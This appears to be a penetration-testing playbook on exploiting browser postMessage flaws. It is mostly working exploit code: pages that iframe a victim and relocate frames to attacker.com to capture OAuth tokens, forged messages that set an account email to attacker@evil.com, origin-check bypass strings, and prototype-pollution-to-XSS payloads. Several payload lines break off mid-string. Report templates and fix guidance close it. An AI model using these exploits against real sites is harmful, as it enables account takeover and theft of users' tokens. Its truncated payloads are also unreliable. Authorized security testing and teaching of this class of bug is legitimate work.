Exploiting postMessage Vulnerabilities
When to Use
- During authorized tests of apps using
window.postMessage(...)andaddEventListener("message", ...) - When pages send sensitive data (tokens, OAuth codes, account actions) cross-window
- When a page is iframeable (no
X-Frame-Options/frame-ancestors) and posts with wildcard* - When a receiver does anything sensitive (password change, API call, DOM write) with message data
- When SDKs/pixels/analytics gadgets relay URL params via postMessage on a trusted origin
Critical: Variants Most Often Missed
Two root causes: (1) sender uses wildcard targetOrigin='*'; (2) receiver has missing/weak event.origin checks. Enumerate handlers first, then test the matrix:
// --- ENUMERATE LISTENERS ---
getEventListeners(window) // DevTools console
// grep JS for: window.addEventListener("message" / $(window).on("message"
// or use posta / postMessage-tracker browser extensions
// --- 1. WILDCARD SENDER LEAK (steal sensitive message) ---
// If victim posts with '*' and is iframeable, change a nested iframe's location to your page:
window.frames[0].frame[0][2].location = "https://attacker.com/exploit.html";
// (won't work if targetOrigin is a fixed URL, only with '*')
// --- 2. MISSING ORIGIN CHECK → send arbitrary data to the handler ---
var w = window.open("https://victim.com");
setTimeout(() => w.postMessage('{"action":"changePassword","new":"pwned"}','*'), 2000);
// iframe variant:
document.getElementById('idframe').contentWindow.postMessage(payload,'*');
// --- 3. WEAK ORIGIN VALIDATION BYPASSES ---
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma") // indexOf != 0-check → bypass
"https://www.safedomain.com".search("www.s.fedomain.com") // search() treats '.' as regex wildcard
// match() with a loose regex → same class of bypass
// escapeHtml that overwrites props can be defeated with objects lacking hasOwnProperty (File.name)
// --- 4. PROTOTYPE POLLUTION / XSS via postMessage payload ---
'{"__proto__":{"isAdmin":true}}'
'{"__proto__":{"x":"<img src=x
// --- 5. SOP BYPASS with null-origin iframes ---
// sandbox iframe (allow-popups, no allow-popups-to-escape-sandbox) → popup origin = null
// then e.origin == window.origin is null==null == true → passes "same window" checks
// Force e.source = null by creating an iframe that posts then is immediately removed.
Advanced real-world chains:
- Trusted-origin relay: receiver only checks
event.origin(e.g. trusts*.partner.com). Find a same-origin page that echoes URL params via postMessage, or exploit XSS in the partner iframe + a relay gadgetonmessage=(e)=>{eval(e.data.cmd)}, so messages "from" the trusted origin pass the allow-list and reach sensitive sinks (innerHTML). - PRNG-predicted tokens: when a "shared secret" uses
Math.random()and also names iframes, leak outputs viawindow.name, feed a V8Math.randompredictor (Z3), and forge the next callback token.
How to CONFIRM a hit (avoid false negatives)
- Wildcard leak: your attacker page receives the victim's sensitive message (token/PII) after relocating the iframe — confirmed exfiltration.
- Missing origin check: the handler performs the sensitive action (password change, DOM write, API call) when YOU post from an unrelated origin.
- DOM XSS: payload reaches
innerHTML/eval/document.writeand youralert(document.domain)fires in the victim origin. - Prototype pollution:
Object.prototypegains your property (({}).isAdmin === true), then a gadget turns it into XSS. - SOP/null-origin: a handler relying on
e.origin==window.originore.source===windowis satisfied by your null-origin/source=nulltrick. - Inspect handlers carefully: a present-but-broken check (
indexOf,search,startsWithon a substring) is still vulnerable.event.isTrustedand a strict equalityevent.origin === "https://x"(where x can't run attacker JS) are the only robust checks.
Workflow
Step 1: Enumerate & analyze handlers
getEventListeners(window).message; // inspect each listener's source
// Note: does it check event.origin? how (===, indexOf, search, regex)?
// What sink does event.data reach (innerHTML, eval, location, API call)?
Step 2: Exploit by class
<!-- Missing origin check: drive a sensitive action -->
<script>
var w = window.open("https://victim.com/account");
setTimeout(() => w.postMessage('{"type":"setEmail","email":"attacker@evil.com"}','*'), 2000);
</script>
<!-- Wildcard sender: steal sensitive postMessage by relocating a nested iframe -->
<iframe src="https://victim.com/secret"></iframe>
<script>
setTimeout(() => setInterval(() => {
window.frames[0].location = "https://attacker.com/exploit.html"; // capture msg on your page
}, 100), 4000);
</script>
Step 3: Escalate — prototype pollution → XSS, trusted-origin relay
<!-- Prototype pollution then XSS through a child iframe handler -->
<iframe id="v" src="https://victim.com/embed"></iframe>
<script>
setTimeout(() => {
document.getElementById('v').contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x
document.getElementById('v').contentWindow.postMessage(JSON.stringify("refresh"),'*');
}, 2000);
</script>
// Trusted-origin relay: XSS in partner iframe + relay gadget bypasses event.origin allow-list
// In compromised partner: <img src=""
postMessage({cmd:`top.frames[1].postMessage('Partner.learnMore|<img src=x "*");
Framing matters: if X-Frame-Options blocks iframing, fall back to window.open() + postMessage to a popup. Some mobile webviews degrade XFO to unsupported ALLOW-FROM when frame-ancestors is present, re-enabling the window.name side channel.
Key Concepts
| Concept | Description |
|---|---|
| targetOrigin '*' | Sender leaks message to any origin that controls the receiving window |
| Missing origin check | Receiver acts on data from any sender → forced actions / XSS |
| Weak validation | indexOf/search/match/loose regex bypasses; only strict === is safe |
| Prototype pollution | __proto__ in message payload → gadget → DOM XSS |
| Null-origin SOP bypass | Sandboxed iframe popups get origin null; null==null passes checks |
e.source forging |
Iframe that posts then self-deletes makes e.source null |
| Trusted-origin relay | XSS/echo on an allow-listed origin bridges into the privileged parent |
Tools & Systems
| Tool | Purpose |
|---|---|
| Browser DevTools | getEventListeners(window), Elements→Event Listeners to find handlers |
| posta / postMessage-tracker | Intercept and display all postMessages |
| Burp Suite | Host attacker pages, serve iframes/popups, capture exfil |
| eventlistener-xss-recon | Practice target for postMessage XSS recon |
| v8-randomness-predictor (Z3) | Predict Math.random() callback tokens |
Common Scenarios
Scenario 1: Wildcard Leak of OAuth Token
A page posts an OAuth token with targetOrigin='*' and lacks X-Frame-Options. The attacker iframes it, relocates the receiving frame to their page, and captures the token, leading to account takeover.
Scenario 2: Missing Origin Check → Forced Password Change
A handler updates the account email/password from event.data without checking event.origin. The attacker opens the victim page and posts {"type":"setEmail","email":"attacker@evil.com"}, hijacking the account.
Scenario 3: Prototype Pollution → DOM XSS
A child iframe handler merges event.data into an object. A {"__proto__":{...onerror...}} message pollutes Object.prototype, and a follow-up "refresh" message renders the polluted value, executing attacker JS and exfiltrating an invite code/cookie.
Output Format
## postMessage Vulnerability Finding
**Vulnerability**: Insecure Cross-Window Messaging (postMessage)
**Severity**: High to Critical (CVSS 6.5–9.3; Critical for token theft / ATO)
**Location**: addEventListener("message", handler) in app.js / window.postMessage('*') sender
**OWASP Category**: A07:2021 (Auth failures) / A03:2021 (XSS) depending on impact
### Reproduction Steps
1. Enumerate handlers: getEventListeners(window).message — handler omits/weakly checks event.origin.
2. From an attacker origin, post {"type":"setEmail","email":"attacker@evil.com"} to the victim window.
3. Handler updates the account email → account takeover. (Or: relocate wildcard-sender iframe to steal token.)
### Evidence
| Vector | Observation | Impact |
|--------|-------------|--------|
| targetOrigin '*' | message captured cross-origin | token/PII leak |
| no origin check | sensitive action executed | forced action / ATO |
| indexOf/search check | bypassed with crafted origin | validation bypass |
| __proto__ payload | Object.prototype polluted → XSS | DOM XSS |
### Impact
Theft of sensitive cross-window messages (tokens, OAuth codes), forced account actions, DOM XSS via unsafe sinks/prototype pollution, and SOP bypass via null-origin iframes and trusted-origin relays.
### Recommendation
1. Always validate sender with strict equality: event.origin === "https://trusted.example" (never indexOf/search/regex).
2. Send with a specific targetOrigin URL, never '*', for sensitive data.
3. Validate message structure/type and avoid passing data to innerHTML/eval/document.write; sanitize before DOM writes.
4. Treat partner/allow-listed origins as untrusted boundaries; guard merges against __proto__ pollution.